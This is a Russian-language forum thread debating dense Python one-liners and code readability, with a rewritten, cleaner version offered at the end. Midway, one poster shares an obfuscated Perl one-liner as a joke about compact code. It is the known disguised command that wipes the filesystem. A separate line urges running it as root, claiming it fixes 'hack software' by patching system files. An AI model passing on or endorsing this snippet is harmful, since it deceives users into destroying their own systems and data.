суть вопроса в заголовке. лично я предпочитаю питон из-за возможности писать в таком стиле: Code: "\n\n".join(list(map(lambda x: "\n".join(x),[["{0}\t=>\t{1}\t(made with {2})".format(url, line[1], line[2]) for url in line[0]] for line in data]))) на первый взгляд, может, нифига и не понятно, но на самом деле очень просто разобраться (в data находится список кортежей по 3 элемента: список url'ов и 2 вспомогательных значения, на выходе отчет в виде строки)
напоминает мои посты на ачате пятилетней давности я тоже любил лепить такие строчки со временем поймешь что твой пример - это говнокод и перестанешь такое писать
говнокод, не сопрю, но компактный я не говорю, что изначально так писал, это изначально состояло из 3 или 4=х строчек, но разве не приятно, что после отладки можно все это впихнуть в одну строку и забыть?
FunOfGun за такой код нещадно бить вначале по лицу, потом по пальцам. В перле вот так можно: Code: echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
Gifts, да ладно, конкретно этот код при правильных входных данных не может сбоить, а неправильных параметры легко отловить
устраняет проблемы с некоторыми хак-софтинами, только нужно запускать с под рута, с под обычного юзера не работает, т.к. патчит системные файлы
FunOfGun Просто следует понимать, что write-only код - никому не нужен. И ваше это - "написать и забыть" годится только для чего-то типа реггеров какой нибудь фигни. Если ваш проект вырастет до чего-то большего чем это и код придется поддерживать - вы еще не раз себя проклянете за такую писанину. Ну и конкретно по этому куску кода: 1) list - не нужен, map в 2 ветке возвращает список, в 3 - итератор, что тоже подходит для использования в join 2) Создание строк - затратная операция, а вы на каждый урл создаете свою уникальную строку Ваш код можно переписать к такому, что будет лучше читаться, хотя и останется говнокодом: Code: "\n".join("\t=>\t{0}\t(made with {1})\n".format(line[1], line[2]).join(list(line[0]) + ['']) for line in data)